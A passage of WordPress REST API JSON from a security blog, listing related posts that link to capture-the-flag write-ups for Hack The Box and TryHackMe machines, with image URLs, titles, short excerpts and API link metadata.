https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/image-15.png?fit=1200%2C1028&ssl=1&resize=525%2C300 1.5x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/image-15.png?fit=1200%2C1028&ssl=1&resize=700%2C400 2x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/image-15.png?fit=1200%2C1028&ssl=1&resize=1050%2C600 3x"},"classes":[]},{"id":3003,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/05\/20\/hack-the-box-busqueda-write-up\/","url_meta":{"origin":3072,"position":2},"title":"Hack The Box | Busqueda | Write UP","author":"david","date":"mayo 20, 2023","format":false,"excerpt":"Hey there, Cyber Warriors! \ud83d\ude80 Guess what? I recently had a wild ride with the Busqueda CTF challenge and I can't wait to share the adventure with you. This challenge was a real treat, pushing my skills and making me think on my feet. It's got everything: sneaky vulnerabilities, cool\u2026","rel":"","context":"En \u00abGu\u00edas\u00bb","block_context":{"text":"Gu\u00edas","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/guias\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/image.png?fit=1200%2C627&ssl=1&resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/image.png?fit=1200%2C627&ssl=1&resize=350%2C200 1x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/image.png?fit=1200%2C627&ssl=1&resize=525%2C300 1.5x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/image.png?fit=1200%2C627&ssl=1&resize=700%2C400 2x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/image.png?fit=1200%2C627&ssl=1&resize=1050%2C600 3x"},"classes":[]},{"id":3352,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/09\/13\/tryhackme-internal-write-up\/","url_meta":{"origin":3072,"position":3},"title":"TryHackMe | Internal | Write Up","author":"david","date":"septiembre 13, 2023","format":false,"excerpt":"The realm of cybersecurity is as vast as it is intriguing, and every once in a while, a challenge comes along that truly tests our mettle as ethical hackers. Such was the case with the 'Internal' Capture The Flag (CTF) challenge on TryHackMe. Imagine being handed an environment, just weeks\u2026","rel":"","context":"En \u00abGu\u00edas\u00bb","block_context":{"text":"Gu\u00edas","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/guias\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/09\/2023-09-11_11-12.png?fit=1200%2C667&ssl=1&resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/09\/2023-09-11_11-12.png?fit=1200%2C667&ssl=1&resize=350%2C200 1x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/09\/2023-09-11_11-12.png?fit=1200%2C667&ssl=1&resize=525%2C300 1.5x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/09\/2023-09-11_11-12.png?fit=1200%2C667&ssl=1&resize=700%2C400 2x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/09\/2023-09-11_11-12.png?fit=1200%2C667&ssl=1&resize=1050%2C600 3x"},"classes":[]},{"id":3174,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/08\/23\/hacktheboxstocker1\/","url_meta":{"origin":3072,"position":4},"title":"Hack The Box | Stocker | Write Up","author":"david","date":"agosto 23, 2023","format":false,"excerpt":"Just tackled the \u2018Stocker\u2019 machine on #HackTheBox. Loved the explotation of web vulnerabilities and the challenge of the injections! If you\u2019re into #CTF, this is a must try! \ud83d\ude80 #CyberSecurity #PenTesting #EthicalHacking #InfoSec We will check which kind of services are running in this machine with NMAP: sudo nmap -sT\u2026","rel":"","context":"En \u00abGu\u00edas\u00bb","block_context":{"text":"Gu\u00edas","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/guias\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/08\/image-1.png?fit=1107%2C948&ssl=1&resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/08\/image-1.png?fit=1107%2C948&ssl=1&resize=350%2C200 1x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/08\/image-1.png?fit=1107%2C948&ssl=1&resize=525%2C300 1.5x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/08\/image-1.png?fit=1107%2C948&ssl=1&resize=700%2C400 2x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/08\/image-1.png?fit=1107%2C948&ssl=1&resize=1050%2C600 3x"},"classes":[]},{"id":3248,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/08\/29\/tryhackme-relevant-write-up\/","url_meta":{"origin":3072,"position":5},"title":"TryHackMe | Relevant | Write Up","author":"david","date":"agosto 29, 2023","format":false,"excerpt":"In the vast world of cybersecurity, sometimes, it's the smallest of details that can lead to the biggest breakthroughs. It's no surprise then, that in my recent foray into the \u2018Relevant\u2019 room on TryHackMe, I found myself engrossed in a painstaking process of meticulous enumeration. But isn't that the very\u2026","rel":"","context":"En \u00abGu\u00edas\u00bb","block_context":{"text":"Gu\u00edas","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/guias\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/08\/Untitled-6-1.png?fit=845%2C208&ssl=1&resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/08\/Untitled-6-1.png?fit=845%2C208&ssl=1&resize=350%2C200 1x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/08\/Untitled-6-1.png?fit=845%2C208&ssl=1&resize=525%2C300 1.5x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/08\/Untitled-6-1.png?fit=845%2C208&ssl=1&resize=700%2C400 2x"},"classes":[]}],"jetpack_likes_enabled":true,"jetpack_featured_media_url":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/image-13.png?fit=1396%2C1204&ssl=1","_links":{"self":[{"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/posts\/3072","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/comments?post=3072"}],"version-history":[{"count":3,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/posts\/3072\/revisions"}],"predecessor-version":[{"id":3122,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/posts\/3072\/revisions\/3122"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/media\/3074"}],"wp:attachment":[{"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/media?parent=3072"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/categories?post=3072"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/tags?post=3072"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}